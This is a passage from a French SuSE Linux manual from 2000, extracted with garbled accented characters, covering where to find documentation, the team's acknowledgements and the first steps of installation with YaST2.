  1436. graphe 19.9 page 494). En tapant
  1437.  
  1438.       tux@terre:/home/tux  >  man  <commande>
  1439.  
  1440. on obtient un aperτu de la tΓche et des options de la commande concernΘe.
  1441.  
  1442. On peut Θgalement lire les +  pages de man au moyen du systΦme d'aide de
  1443. SuSE      (voir paragraphe 1.4.2 page ci-contre.
  1444.  
  1445.  
  1446. 1.4.5      Fichiers FAQ, HowTo et README
  1447.  
  1448. Le  rΘpertoire  /usr/doc  contient,  pour  de  nombreux  paquetages,  des  sous-
  1449. rΘpertoires dans lesquels on trouve des informations sur ces logiciels. On y
  1450. dΘcouvre souvent une option depuis longtemps recherchΘe, le nom du fichier
  1451. de configuration qui ne se trouve nulle part ou le nom du chien du dΘvelop-
  1452. peur. Il vaut en tout cas la peine de jeter ici un coup d'oeil avant que le logiciel
  1453. ne prenne le chemin de la poubelle.
  1454.        _______________________________________________________________________________________________________________________
  1455.        ||||||||  Il nous semble opportun d'attirer votre attention sur la FAQ de SuSE     Linux                 ||             |
  1456.        ||||||||                                                                                                 ||             |
  1457.        ||||||||  ~ α l'annexe F page 541                                                                        ||             |
  1458.        ||||||||_______________________________________________________________________________________________________________||_
  1459.  
  1460. Le  rΘpertoire  /usr/doc/faq  est  tout  particuliΦrement  digne  d'attention.  Il
  1461. contient des listes de questions frΘquemment posΘes avec les rΘponses concer-
  1462. nant bon nombre de problΦmes. Pour cela, le paquetage manyfaqs, sΘrie doc
  1463. doit Ωtre installΘ. Dans le rΘpertoire /usr/doc/howto on trouve des ``recettes
  1464. de cuisine'' pour installer diffΘrents paquetages ou pour savoir comment pro-
  1465. cΘder  lorsque  surviennent  des  problΦmes.  La  plupart  des  HOWTO  sont  li-
  1466. sibles α partir du menu de l'interface utilisateur graphique ou au moyen du
  1467. systΦme d'aide de SuSE      (paquetage howtoen, sΘrie doc (Documentation))
  1468.  
  1469. Certains d'entre eux sont dΘjα traduits en franτais (voir paquetage fr_howto,
  1470. sΘrie doc (Documentation)) - Ces documents sont installΘs dans le rΘpertoire
  1471. /usr/doc/FR_HOWTO                . Sous Linux, ils sont lisibles par exemple avec less 1  :
  1472. 1      ____________________________________________________
  1473.   Cher expert, vous avez bien lu : notre less   est tellement ``futΘ'' qu'il peut mΩme lire des fichiers
  1474. compressΘs ;-)
  1475.  
  1476.  
  1477.                                                                                                                                    *
  1478.  *      9
  1479. 1.  Introduction  _________________________________________________________________________________________________________________*
  1480.  *_______________________________________@
  1481.  
  1482.  
  1483.  
  1484.                                  tux@terre:/home/tux  >  cd  /usr/doc/howto/en
  1485.                                  tux@terre:/usr/doc/howto/en  >  less  DOS-to-Linux-HOWTO.gz
  1486.                            Dans  le  rΘpertoire  docu/howto  du  premier  CD,  on  trouve  les  versions  les
  1487.                            plus  rΘcentes,  disponibles  en  fin  d'Θlaboration  du  CD,  des  HowTo  les  plus
  1488.                            importants. Il vaut Θventuellement la peine de jeter aussi un coup d'oeil dans
  1489.                            ce rΘpertoire ! Ces fichiers ne sont pas compressΘs et peuvent donc dΘjα Ωtre
  1490.                            lus, avant l'installation, par exemple sous DOS avec type    .
  1491.  
  1492.                            Pour les questions et les problΦmes concernant le noyau lui-mΩme, la source
  1493.                            d'informations la plus abondante est constituΘe par le rΘpertoire /usr/src/
  1494.                            linux/Documentation.  Celui-ci  ne  sera  toutefois  disponible  que  lorsque
  1495.                            vous  aurez  installΘ  les  sources  du  noyau  (paquetage  linux  ou  paquetage
  1496.                            lx_suse),  ce  qui  est  de  toute  faτon  expressΘment  conseillΘ.  On  peut  aussi
  1497.                            trouver  des  indications  trΦs  prΘcieuses  dans  les  diffΘrents  sous-rΘpertoires
  1498.                            (par  exemple  sur  le  pilote  son)  et,  pour  les  intrΘpides  et  les  curieux,  dans
  1499.                            les sources mΩmes du noyau.
  1500.  
  1501.                            Au cas o∙ vous auriez une question α laquelle le prΘsent manuel ne peut pas
  1502.                            rΘpondre, explorez les sources mentionnΘes afin d'y trouver les informations
  1503.                            recherchΘes.
  1504.  
  1505.  
  1506.  
  1507.                            1.4.6      Livres diffusΘs librement
  1508.  
  1509.                            Le paquetage books, sΘrie doc (Documentation) contient quelques livres de
  1510.                            format PostScript que vous pouvez consulter et imprimer avec le paquetage
  1511.                            gsview,  sΘrie  gra  (Tout  sur  les  graphiques)  ou  le  paquetage  gv,  sΘrie  gra
  1512.                            (Tout sur les graphiques). Avant d'imprimer il conviendrait toutefois de vous
  1513.                            demander s'il ne serait pas plus rentable de vous procurer le livre, si possible
  1514.                            en franτais, dans le commerce.
  1515.  
  1516.  
  1517.  
  1518.                            1.5       ╔loges
  1519.  
  1520.  
  1521.                            Parmi tous ceux qui ont contribuΘ au grand succΦs de Linux, nous tenons tout
  1522.                            particuliΦrement α remercier Florian La Roche dont l'expΘrience dans la
  1523.                            structuration d'un systΦme Linux a ΘtΘ pour nous d'une valeur inestimable ;
  1524.                            son engagement infatigable nous a rendu possible la crΘation d'un systΦme
  1525.                            de base performant rΘpondant aux critΦres les plus actuels. GrΓce α plusieurs
  1526.                            annΘes  d'expΘrience  avec  sa  propre  distribution  jurix ,  qui  circulait  comme
  1527.                            ``tuyau'' sur Internet, il a pu contribuer, dans une trΦs large mesure, au dΘve-
  1528.                            loppement de SuSE     Linux.
  1529.  
  1530.                            Nous  remercions  aussi  Harald  K÷nig  de  l'Θquipe  XFree86  TM   qui  nous
  1531.                            a  donnΘ  de  prΘcieux  conseils  et  de  prΘcieuses  informations  sur  le  systΦme
  1532.                            X Window ainsi que Eberhard M÷nkeberg qui s'est toujours montrΘ trΦs
  1533.                            disponible pour rΘsoudre les problΦmes posΘs par les pilotes de CD-ROM.
  1534.  
  1535.                            Tous  nos  remerciement  α  Hans  Lermen.  Il  est  l'auteur  du  LoadLin  bien
  1536.                            connu (loadlin.exe ) qui permet de lancer Linux α partir de DOS ainsi que du
  1537.                            programme DOS Setup (setup.exe        ) du prΘsent systΦme Linux.
  1538.  
  1539.                            Ces  bonnes  Γmes  ont  rΘalisΘ  les  traductions  de  YaST  et  de  linuxrc  et  ont
  1540.                            contribuΘ, le plus souvent pendant leurs loisirs, α rendre Linux accessible α
  1541.  
  1542.  
  1543. 10
  1544.        __________________________________________________________________________________________________________________1.5.__╔log*
  1545.  *es____________________
  1546.  
  1547.  
  1548. un  grand  nombre  d'utilisateurs  dans  le  monde  entier  :  Gunay  Arslan,  Zbi-
  1549. gniew  Baniewski,  Sßndor  Bßrßny,  Olaf  Borkner-Delcarlo,  Michael  Bravo,
  1550. Michael Burghart, Franca Delcarlo, Jochen Depner, Benedek Hermann, Ibßn
  1551. JosΘ  Garcφa  Castillo,  Dora  Georgarou  (with  Romy  the  barking  dog),  Pablo
  1552. Iranzo G≤mez, Krzysztof Hotiuk, Milan Hromada, Arthur Kerkmeester, Ralf
  1553. A.  Lanz,  Franτoise  Lermen,  Zoltßn  Levßrdy,  Nuno  Lima,  Tomas  Morkus,
  1554. Carmen Marφn PΘrez, Matts Nordman, Aleksey Novodvorsky, Razvan Cris-
  1555. tian Oprea, Gerco Oudhof, George Papamichelakis, Alexey Pavlov, ┴kos Rßt-
  1556. kai, Voula Sanida, Aleksey Smirnov, Steve Varadi, P. Vlachodimitropoulos,
  1557. Joao Teles, Nuno Vieira, January Weiner et I Made Wiryana.
  1558.  
  1559. Nous  remercions  en  outre  tous  les  bΩta  testeurs  qui  ont  mis  tΘmΘrairement
  1560. en jeu le fonctionnement de leur systΦme : Andreas Koegel, Christian Hⁿt-
  1561. termann, Dirk Ulbrich, Eberhard M÷nkeberg, Frank Hofmann, Georg C. F.
  1562. Greve, Harald K÷nig, Harald Wieland, Karlo Gross, Jens Frank, Lutz Press-
  1563. ler, Martin Hehl, Martin Konold, Martin Schulze, Michael Kleinhenz, Nor-
  1564. bert Eicker, Oliver Zendel, Ralf Geschke, Stefan Bliesener, Thomas W÷rner,
  1565. Ulrich Goebel, Ulrich Windl, Volker Lendecke, Wolfgang Barth et das KDE
  1566. Team.
  1567.  
  1568. Andrea  Ratschker  et  Thorsten  Wandersmann  se  sont  chargΘs  de  l'Θlabora-
  1569. tion et du traitement des images ~ α eux aussi tous nos remerciements. ainsi
  1570. qu'α Holger Achtziger, Harald Bertram, Thomas Biege, Peter Findeisen, Mat-
  1571. thias Frⁿhauf, Kurt Garloff, LenZ Grimmer, Carsten Gro▀, Berthold Gunre-
  1572. ben, Bernhard H÷lcker, Kevin Ivory, Klaus KΣmpf, Karsten Keil, Wolfgang
  1573. Kern, Thorsten Kukuk, Johannes Meixner, Petr Pavlik, Bj÷rn Pfeiffer, Jⁿrgen
  1574. Scheiderer et Robert Adrian Walczak qui nous ont fourni de prΘcieux rensei-
  1575. gnements et α qui nous devons mΩme aussi quelques textes.
  1576.  
  1577. Au niveau de la production, c'est en tout premier lieu α Holger Dyroff, Chris-
  1578. tian Egle, Frank Sundermeyer et Claudio Taulli que nous devons des remer-
  1579. ciements.
  1580.  
  1581. Sans  oublier  tous  ceux  qui  ont  oeuvrΘ  dans  les  coulisses  et  sans  lesquels
  1582. rien  ne  fonctionnerait  :  Adrian,  Agathe,  Alexander,  Alexander,  Alexander,
  1583. Alexandra, Anas, Andrea Karin, Andreas, Andreas, Andreas, Andreas, Anita,
  1584. Antje,  Arnd,  Barbara,  Beate,  Bernd,  Bernhard,  Bernhard,  Berthold,  Birgit,
  1585. Brigitte,  Burchard,  Carlos,  Carsten,  Carsten,  Carsten,  Christian,  Christian,
  1586. Christian,  Christian,  Christian,  Christian,  Christian,  Christoph-Erdmann,
  1587. Claudia, Claudio, Costin, Daniel, Daniel, David, Dieter, Dieter, Dirk, Dirk,
  1588. Dirk, Dragan, Erich, Evelyn, Florian, Francisca, Francoise, Francoise, Frank,
  1589. Frank, Frank, Frank, Frank, Frank, Friedrich, Gabriele, Gema, Georg, Ger-
  1590. linde, Ghayss, Gregor, Harald, Harald, Hardo, Hartmut, Heidi, Heiko, Helene,
  1591. Helmut,  Holger,  Holger,  Hubert,  Hubert,  Ines,  Ingo,  Jan,  Jesko,  Joachim,
  1592. Jochen,  Johannes,  Jordi,  J÷rg,  J÷rg,  J÷rg,  J÷rg,  J÷rg,  J÷rg-Gerald,  Jⁿrgen,
  1593. Jⁿrgen, Jⁿrgen, Kadriye, Kai, Karin, Karin, Karine, Karl, Karl-Heinz, Katrin,
  1594. Kenneth,  Klaas,  Klaus,  Klaus,  Klaus,  Konrad,  Kurt,  Kyung  Ae,  Lenz,  Ma-
  1595. nuela, Marc, Marco, Marcus, Marcus, Marius, Mark, Markus, Martin, Martin,
  1596. Martin, Martina, Martina, Matthias, Matthias, Matthias, Matthias, Melanie,
  1597. Michael,  Michael,  Michael,  Michael,  Michael,  Michael,  Michael,  Michael,
  1598. Michael,  Michael,  Michaela,  Michaela,  Milisav,  Miriam,  Nadin,  Nicolas,
  1599. Nicolaus, Nicole, Nina, Norbert, Olaf, Oliver, Oliver, Oliver, Patricia, Peter,
  1600.  
  1601.  
  1602.                                                                                                                                    *
  1603.  *     11
  1604. 1.  Introduction  _________________________________________________________________________________________________________________*
  1605.  *_______________________________________@
  1606.  
  1607.  
  1608.  
  1609.                            Peter, Peter, Peter, Peter, Peter, Peter, Petra, Philipp, Pia, Reinhard, Reinhard,
  1610.                            Remo,  Renate,  Rolf,  Rⁿdiger,  Rⁿdiger,  Rⁿdiger,  Sabina,  Sebastian,  Silke,
  1611.                            Silvia, Simon, Stefan, Stefan, Stefan, Stefan, Stefan, Stefan, Stefan, Stefanie,
  1612.                            Steffen,  Stephan,  Stephan,  Stephan,  Stephen,  Sven,  Sylvia,  Tanja,  Tatjana,
  1613.                            Thomas, Thomas, Thomas, Thomas, Thomas, Thomas, Thorsten, Thorsten,
  1614.                            Tilman, Timo, Ulrich, Ulrich, Uwe, Uwe, Uwe, Volker, Waldo, Walter, Wal-
  1615.                            traud,  Werner,  Wittawat,  Wolfgang,  Wolfgang,  Wolfgang  et  Wolfgang  ~  α
  1616.                            tous un trΦs trΦs grand merci !
  1617.  
  1618.                            L'illustration de la couverture a ΘtΘ rΘalisΘe par Stephan Endra▀. └ lui
  1619.                            aussi tous nos remerciements !
  1620.  
  1621.                            Pour ceux qui s'intΘressent aux mathΘmatiques quelques mots α ce sujet :
  1622.  
  1623.  
  1624.                                                                    La dΘcique de Barth
  1625.  
  1626.                            L'Θquation
  1627.  
  1628.                                - 2    4  2 .    - 2    4  2 .    - 2    4  2 .   -  4    4    4     - 2  2    2  2    2  2 .     .
  1629.                              8  x    °  y        y    °  z        z    °  x        x  + y  + z    2  x  y  + y  z  + z  x
  1630.                                                 - 2    2    2    .        2 - 2    2    2             .       2
  1631.                                 + (3 + 5°)       x  + y  + z    1            x  + y  + z    (2   °)             = 0
  1632.  
  1633.                                     p  __
  1634.                            ° = (1 +    5 )=2  est  ici  le  nombre  d'or  qui  dΘfinit  une  surface  de  degrΘ  10
  1635.                            (dΘcique) dΘcouverte en 1994 par W. Barth (Erlangen). Cette surface possΦde
  1636.                            exactement  345  points  doubles,  ce  qui  est  un  record  du  monde !  Selon  la
  1637.                            formule du mathΘmaticien japonais Y. Miyaoka, une surface de degrΘ 10 peut
  1638.                            avoir tout au plus 360 points doubles. Personne n'a cependant jamais vu plus
  1639.                            de 345 points doubles.
  1640.  
  1641.                            L'Θquation ci-dessus est composΘe d'ΘlΘments dits invariantes icosahΘdrales
  1642.                            qui  Θtaient  dΘjα  connues  au  19Φme  siΦcle  de  E.  Goursat  (1858~1936).  La
  1643.                            dΘcique de Barth possΦde la symΘtrie de l'icosahΦdre.
  1644.  
  1645.                                                                                   *
  1646.                                                                        *                     *
  1647.                                                                                   *
  1648.  
  1649.                            Les  dΘveloppeurs  de  Linux,  qui  collaborent  α  l'Θchelle  mondiale,  font  pro-
  1650.                            gresser l'Θvolution de Linux par leur engagement intense et bΘnΘvole. Nous
  1651.                            les en remercions car sans eux ce CD n'existerait pas. Notre activitΘ a pour
  1652.                            but de rendre le rΘsultat de leurs travaux accessible α un trΦs grand nombre
  1653.                            d'utilisateurs intΘressΘs.
  1654.  
  1655.                            Nous remercions tout particuliΦrement Patrick Volkerding pour le sou-
  1656.                            tien qu'il nous a apportΘ dans notre travail et naturellement aussi Linus Tor-
  1657.                            valds !
  1658.  
  1659.                            Nos remerciements spΘciaux vont α Frank Zappa et Pawar !
  1660.  
  1661.                            Nⁿrnberg, 13 mars 2000
  1662.  
  1663.                            Have a lot of fun !
  1664.  
  1665.                                                   Votre Θquipe SuSE
  1666.  
  1667.  
  1668.  
  1669. 12
  1670.  
  1671.  
  1672.                DeuxiΦme  partie
  1673.  
  1674.  
  1675. Installer   SuSE                   Linux
  1676.  
  1677.  
  1678.                                                                                                                          13
  1679.  
  1680.  
  1681.                                                                                                            Chapitre  2
  1682.                        PremiΦre   installation   de   SuSE
  1683.  
  1684.  
  1685.  
  1686.                                                                                                                     Linux
  1687.  
  1688.  
  1689.  
  1690. 2.1       La voie la plus rapide vers le succΦs
  1691.  
  1692. Depuis SuSE      Linux 6.3, YaST2  simplifie encore la premiΦre ou la nouvelle
  1693. installation d'un systΦme. Avec le nouveau YaST , vous disposez, dΦs le dΘbut,
  1694. d'un  outil  intelligent  fonctionnant  sous  interface  graphique.  YaST2  permet
  1695. d'installer  trΦs  rapidement  SuSE     Linux  sur  des  machines  modernes  et  bien
  1696. ΘquipΘes ~ Il est Θgalement possible, dans les cas ou cela s'avΦre souhaitable
  1697. ou nΘcessaire, d'installer en mode texte.
  1698.  
  1699. L'utilisateur est guidΘ dans les Θtapes de l'installation par des dialogues fa-
  1700. ciles α superviser. Des entrΘes ou dΘcisions concernant la sΘlection sont tou-
  1701. jours nΘcessaires lorsque l'utilisateur a la libertΘ de personnaliser son systΦme
  1702. et de l'adapter α ses propres besoins.
  1703.        _______________________________________________________________________________________________________________________||
  1704.        ||||||||  Outre  la  possibilitΘ  d'utiliser  YaST2  qui  guide  tout  particuliΦrement  les             |||            |
  1705.        ||||||||                                                                                                 ||             |
  1706.        ||||||||  nΘophytes  α  travers  les  phases  de  l'installation,  l'utilisateur  SuSE     Linux         ||             |
  1707.        ||||||||  aguerri peut comme auparavant avoir recours α une mΘthode d'installation                       ||             |
  1708.        ||||||||                                                                                                 ||             |
  1709.        ||||||||  bien ΘprouvΘe : l'outil traditionnel YaST   (angl. Yet another Setup-Tool)                     ||             |
  1710.        ||||||||  continue α offrir ses bons et loyaux services ~ voir la description pas α pas                  ||             |
  1711.        ||||||||                                                                                                 ||             |
  1712.        ||||||||  au paragraphe 1.5 page 28.                                                                     ||             |
  1713.        ||||||||_______________________________________________________________________________________________________________||_
  1714.  
  1715.  
  1716. 2.1.1      Petit plan prΘliminaire
  1717.  
  1718. Faisons un rapide tour d'horizon pour dΘcouvrir la mΘthode la mieux appro-
  1719. priΘe :
  1720.  
  1721.  1.   L'installation avec YaST2  ~ directement α partir du CD 1 ~ peut toujours
  1722.       Ωtre menΘe α bonne fin si les conditions suivantes sont remplies :
  1723.  
  1724.       ~   Votre machine
  1725.  
  1726.           ~   devrait possΘder un lecteur de CD-ROM permettant l'amorτage.
  1727.  
  1728.           ~   Il est souhaitable d'avoir un systΦme graphique conforme α la norme
  1729.               VESA 2.0 (cela va de soi pour les machines rΘcentes) et
  1730.  
  1731.           ~   si possible 64 Mo de RAM (mΘmoire de travail) ou plus ainsi
  1732.  
  1733.           ~   qu'un processeur Pentium.
  1734.  
  1735.  
  1736.                                                                                                                                    *
  1737.  *     15
  1738. 2.  PremiΦre installation_de_SuSE______Linux_______________________________________________________________________________________*
  1739.  *_______________________________________@
  1740.  
  1741.  
  1742.  
  1743.                                      Si les conditions de dΘpart sont moins favorables, vous devrez Θven-
  1744.                                      tuellement vous accommoder de petites restrictions :
  1745.  
  1746.                                      ~   Recourir α l'amorτage α partir de la disquette d'amorτage.
  1747.  
  1748.                                      ~   Les logiciels des CD-ROM suivants ne seront installΘs qu'aprΦs un
  1749.                                          ``amorτage intermΘdiaire'' si vous ne disposez pas de suffisamment
  1750.                                          de mΘmoire de travail.
  1751.  
  1752.                                      ~   L'installation  est  effectuΘe  en  mode  texte  dans  le  cas  o∙  la  carte
  1753.                                          graphique ne serait pas reconnue.
  1754.  
  1755.                                  ~   Vous disposez de suffisamment de place pour l'installation : 150 Mo
  1756.                                      sont nΘcessaires pour un systΦme minimal, environ   500 Mo pour un
  1757.                                      systΦme  standard  avec  de  l'espace  supplΘmentaire  pour  des  compo-
  1758.                                      sants additionnels. Voici les possibilitΘs que vous pouvez envisager :
  1759.  
  1760.                                      ~   Une  nouvelle  machine  sans  systΦme  d'exploitation  pour  effectuer
  1761.                                          une premiΦre installation.
  1762.  
  1763.                                      ~   Un disque sur lequel un systΦme d'exploitation est dΘjα installΘ mais
  1764.                                          qui offre encore suffisamment d'espace disponible.
  1765.  
  1766.                                      ~   Vous voulez consacrer α SuSE     Linux un deuxiΦme disque dur.
  1767.  
  1768.                                      ~   Vous  avez  des  partitions  dΘjα  utilisΘes  qui  peuvent  Ωtre  effacΘes.
  1769.                                          Prenez dans ce cas le temps de rΘflΘchir pour savoir quelles donnΘes
  1770.                                          doivent Ωtre sauvegardΘes avant l'installation !
  1771.  
  1772.                                  Si  l'une  de  ces  conditions  est  remplie,  vous  pouvez  vous  lancer  sans
  1773.                                  perdre de temps ~ passez directement au paragraphe 2.1.2.
  1774.  
  1775.                             2.   Vous pouvez recourir α la mΘthode d'installation traditionnelle α l'aide du
  1776.                                  ``vieux'' YaST  dans les conditions suivantes :
  1777.  
  1778.                                  ~   Vous souhaitez une installation de type ``professionnel'' et vous dΘsirer
  1779.                                      effectuer divers paramΘtrages particuliers spΘcifiques α votre systΦme.
  1780.  
  1781.                                  ~   Vous voulez mettre α jour un systΦme SuSE     Linux : lisez tout d'abord
  1782.                                      le chapitre sur la mise α jour 15 page 403 et pages suivantes.
  1783.                            ________________________________________________________________________________________________________*
  1784.  *________||
  1785.                            |  Notez que l'installation avec le ``vieux'' YaST  est dΘmarrΘe lorsque vous                           *
  1786.  *        ||||
  1787.                            |  entrez  yast1      α  l'invite  d'amorτage.  Vous  trouverez  au  paragraphe  1.5                    *
  1788.  *        |||
  1789.                            |                                                                                                       *
  1790.  *        |||
  1791.                            |  page 28 des explications dΘtaillΘes au sujet de cette mΘthode d'installation.                        *
  1792.  *        |||
  1793.                            |_______________________________________________________________________________________________________*
  1794.  *________|||_
  1795.  
  1796.                            Il n'est pas non plus inutile de lire, sur le premier CD, le fichier README, ou,
  1797.                            sous DOS/Windows, le fichier README.DOS. Nous y notons les modifications
  1798.                            qui ont eu lieu aprΦs la mise sous presse du manuel !
  1799.  
  1800.  
  1801.                            2.1.2      Maintenant tout commence : L'Θcran d'accueil
  1802.  
  1803.                            Mettez votre machine en marche et insΘrez le CD 1 dans le lecteur. Si votre
  1804.                            machine devait refuser d'amorcer α partir du CD, il vous faudra probablement
  1805.                            modifier dans le BIOS l'ordre d'amorτage vers CDROM,C,A         . Vous trouverez
  1806.                            dans la documentation qui accompagne votre machine les informations nΘ-
  1807.                            cessaires pour effectuer cette modification.
  1808.  
  1809.  
  1810. 16
  1811.        _____________________________________________________________________2.1.__La_voie_la_plus_rapide_vers_le_succΦs____________*
  1812.  *______________________
  1813.  
  1814.  
  1815.  
  1816. AprΦs quelques instants, vous voyez apparaεtre l'Θcran d'accueil (figure 2.1
  1817. page 29) et l'invite d'amorτage "boot  :" est affichΘe sur le bord infΘrieur
  1818. de l'Θcran.
  1819.  
  1820. Vous avez maintenant environ 3 secondes pour intervenir en appuyant sur une
  1821. touche et tirer ainsi parti de deux particularitΘs de YaST2  :
  1822.  
  1823.  
  1824.  1.   Effectuer une installation en mode texte. ~ Ceci peut s'avΘrer utile dans
  1825.       certaines  circonstances  particuliΦres.  En  mode  texte,  par  exemple,  les
  1826.       masques  d'entrΘe  peuvent  Ωtre  reconnus  plus  facilement  par  les  handi-
  1827.       capΘs visuels.
  1828.  
  1829.       Appuyez pour cela sur |C______|_trl(= touche de contr⌠le). Sur le c⌠tΘ droit du
  1830.       bord  infΘrieur  de  l'Θcran,  vous  serez  averti  que  le  dΘmarrage  se  fait  en
  1831.       mode texte.
  1832.  
  1833.  2.   Installez  le  ``disque  d'extension  de  YaST''.  ~  Les  extensions  actuelles,
  1834.       les mises α jour ou autres choses requises par YaST2  peuvent ainsi Ωtre
  1835.       chargΘes avant le dΘbut de l'installation proprement dite.
  1836.  
  1837.       Dans ce cas, appuyez sur |A_____|lt. Vous verrez alors apparaεtre sur le bord
  1838.       droit de l'Θcran le message "Have  your  extension  disk  ready". La
  1839.       disquette vous sera demandΘe plus tard.
  1840.  
  1841.  
  1842. Sur  le  bord  infΘrieur  de  l'Θcran,  il  apparaεt  des  messages  tels  que  "ini-
  1843. trd..."  et  "Loading  linux...".  AprΦs  quelques  secondes,  le  +  noyau
  1844. commence α amorcer ~ Vous pouvez vous en apercevoir aux nombreux ``mes-
  1845. sages du noyau'' qui dΘfilent rapidement sur l'Θcran.
  1846.  
  1847. YaST2  dΘmarre et au bout de quelques secondes vous voyez apparaεtre l'in-
  1848. terface graphique.
  1849.  
  1850.  
  1851. ProblΦmes Θventuels
  1852.  
  1853.   ~   S'il  n'est  plus  possible  de  continuer  aprΦs  l'apparition  de  l'Θcran  d'ac-
  1854.       cueil,  autrement  dit  si  votre  machine  a  des  difficultΘs  α  amorcer,  vous
  1855.       avez  la  possibilitΘ  d'intervenir  α  l'invite  d'amorτage.  Si  dans  les  3  se-
  1856.       condes qui suivent l'apparition du message "boot  :" vous appuyez sur
  1857.       une touche quelle qu'elle soit, le contenu de l'Θcran demeure fixe et vous     ____
  1858.       pouvez  faire  des  entrΘes.  Ce  n'est  qu'aprΦs  avoir  pressΘ  la  touche | _____|-
  1859.       que vous pourrez continuer.
  1860.        _______________________________________________________________________________________________________________________|||
  1861.        ||||||||                                                                                                 ||             |
  1862.        ||||||||  En  cas  de  problΦmes  lors  de  l'amorτage  du  systΦme,  voyez  le  para-                   ||             |
  1863.        ||||||||  graphe  2.7.5  page  60  ainsi  que  le  paragraphe  14.3.2  page  370  et  pages              ||             |
  1864.        ||||||||                                                                                                 ||             |
  1865.        ||||||||  suivantes. Dans ces chapitres, vous trouverez des informations sur la cause                    ||             |
  1866.        ||||||||  de  ces  problΦmes  ainsi  que  sur  les  moyens  d'y  remΘdier  par  l'entrΘe  de             ||             |
  1867.        ||||||||                                                                                                 ||             |
  1868.        ||||||||  ``paramΦtres du noyau''.                                                                       ||             |
  1869.        ||||||||  Il peut parfois aussi Ωtre utile de consulter la liste de contr⌠le du matΘriel                 ||             |
  1870.        ||||||||                                                                                                 ||             |
  1871.        ||||||||  au paragraphe 2.7.13 page 64.                                                                  ||             |
  1872.        ||||||||_______________________________________________________________________________________________________________||_
  1873.  
  1874.   ~   Certaines variantes de BIOS ne parviennent pas α se tirer d'affaire avec
  1875.       une grande ``image de boot'' (2,88 Mo) telle que celle qui se trouve sur le
  1876.       CD 1. Utilisez, dans ce cas, le CD 2 ou la disquette d'amorτage.
  1877.  
  1878.  
  1879.                                                                                                                                    *
  1880.  *     17
  1881. 2.  PremiΦre installation_de_SuSE______Linux_______________________________________________________________________________________*
  1882.  *_______________________________________@
  1883.  
  1884.  
  1885.  
  1886.                            2.1.3      YaST2  fait son apparition !
  1887.  
  1888.                            Dans  la  partie  gauche  de  l'image,  ainsi  que  dans  la  plupart  des  autres  dia-
  1889.                            logues de YaST2 , il est affichΘ un texte d'aide concernant la phase actuelle
  1890.                            de l'installation.
  1891.  
  1892.                            YaST2 vΘrifie le matΘriel et intΦgre dans le systΦme les composants qu'il peut
  1893.                            reconnaεtre.  La  progression  des  opΘrations  est  affichΘe  en  mode  graphique.
  1894.                            Lorsque cette procΘdure est terminΘe, il est automatiquement passΘ α la phase
  1895.                            suivante.
  1896.  
  1897.  
  1898.  
  1899.                            2.1.4      SΘlection de la langue
  1900.  
  1901.  
  1902.                            Vous  devez  maintenant  intervenir  pour  la  premiΦre  fois  dans  le  processus
  1903.                            d'installation avec la souris ou le clavier.
  1904.  
  1905.                            Tous les champs d'entrΘe, les listes de sΘlection et les boutons peuvent Ωtre
  1906.                            sΘlectionnΘs par un clic de souris.
  1907.  
  1908.                            Si vous voulez vous servir du clavier, tenez compte des rΦgles suivantes :
  1909.  
  1910.  
  1911.                              ~   |_____|Tabdirige le focus sur une zone, un champ_d'entrΘe_ou_de_sΘlection_ou
  1912.                                  sur un bouton. La combinaison de touches | ____________________*|+Commutation||_Tabvous__
  1913.                                  permet  de  choisir  d'autres  groupes  de  sΘlection.  Avec  |_"| et  |_#|,  il  est
  1914.                                  possible ~ selon la zone activΘe ~ de faire une sΘlection ou de feuilleter
  1915.                                  une liste.
  1916.  
  1917.                              ~   Avec |______|-, la commande sΘlectionnΘe est exΘcutΘe. Il s'agit en gΘnΘral de
  1918.                                  l'action indiquΘe sur le bouton actif.
  1919.  
  1920.                              ~   Avec |E_________|_space, vous pouvez cocher des entrΘes.
  1921.  
  1922.                              ~   Il est en outre possible_de_dΘclencher la plupart des actions avec la com-
  1923.                                  binaison de touches |A____l|t+ CaractΦre soulignΘ.
  1924.                            ________________________________________________________________________________________________________*
  1925.  *________||
  1926.  
  1927.                            |  Pas de panique : Ici et dans les dialogues suivants, YaST2   se contentera                           *
  1928.  *        ||||
  1929.                            |  de rassembler des informations. Plus tard, YaST2  vous prΘsentera les don-                           *
  1930.  *        |||
  1931.                            |                                                                                                       *
  1932.  *        |||
  1933.                            |  nΘes qu'il a collectΘ. Au paragraphe 2.1.13 page 25, vous aurez encore la                            *
  1934.  *        |||
  1935.                            |  possibilitΘ, α l'aide du bouton `Retour', de revenir aux dialogues prΘcΘ-                            *
  1936.  *        |||
  1937.                            |                                                                                                       *
  1938.  *        |||
  1939.                            |  dents pour corriger certains paramΦtres.                                                             *
  1940.  *        |||
  1941.                            |_______________________________________________________________________________________________________*
  1942.  *________|||_
  1943.  
  1944.                            YaST2  vous demande quelle langue vous comprenez. AprΦs avoir choisi la
  1945.                            langue, vous pouvez, avec `Continuer', faire apparaεtre tous les textes du
  1946.                            dialogue qui va suivre dans la langue que vous dΘsirez.
  1947.  
  1948.  
  1949.  
  1950.                            ProblΦmes Θventuels
  1951.  
  1952.                              ~   Si vous possΘdez un matΘriel exotique, il peut arriver que la souris ne soit
  1953.                                  pas reconnue automatiquement. Dans un tel cas, utilisez tout d'abord le
  1954.                                  clavier ainsi qu'il a ΘtΘ dΘcrit au dΘbut de ce paragraphe. Dans le prochain
  1955.                                  dialogue, YaST2  vous donnera la possibilitΘ d'intΘgrer manuellement la
  1956.                                  souris dans le systΦme (paragraphe 2.1.5 page suivante).
  1957.  
  1958.  
  1959. 18
  1960.        _____________________________________________________________________2.1.__La_voie_la_plus_rapide_vers_le_succΦs____________*
  1961.  *______________________
  1962.  
  1963.  
  1964.  
  1965. 2.1.5      Choix de la souris
  1966. Ce dialogue n'apparaεtra que dans le cas o∙ YaST2  n'a pas pu reconnaεtre
  1967.  
  1968. automatiquement la souris.
  1969.  
  1970. Vous pourrez voir une boεte de dialogue contenant une longue liste de noms
  1971. de souris et il vous sera demandΘ de sΘlectionner le type de souris adΘquat.
  1972.  
  1973. Faites dΘfiler la liste α l'aide des touches flΘchΘes._Lorsque_vous aurez trouvΘ
  1974. le  type  de  souris_ qui  convient,  passez,  avec  |____T|ab,  au  bouton  `Tester'  et
  1975. appuyez  sur  |_____|-.  DΘplacez  maintenant  la  souris.  Si  le  pointeur  peut  Ωtre
  1976. dΘplacΘ de maniΦre contr⌠lΘe, tout est pour le mieux et vous pouvez cliquer
  1977. sur `Continuer' avec la souris :-)
  1978.  
  1979. Si, lors du premier essai, vous n'avez pas rΘussi α trouver_le type de souris
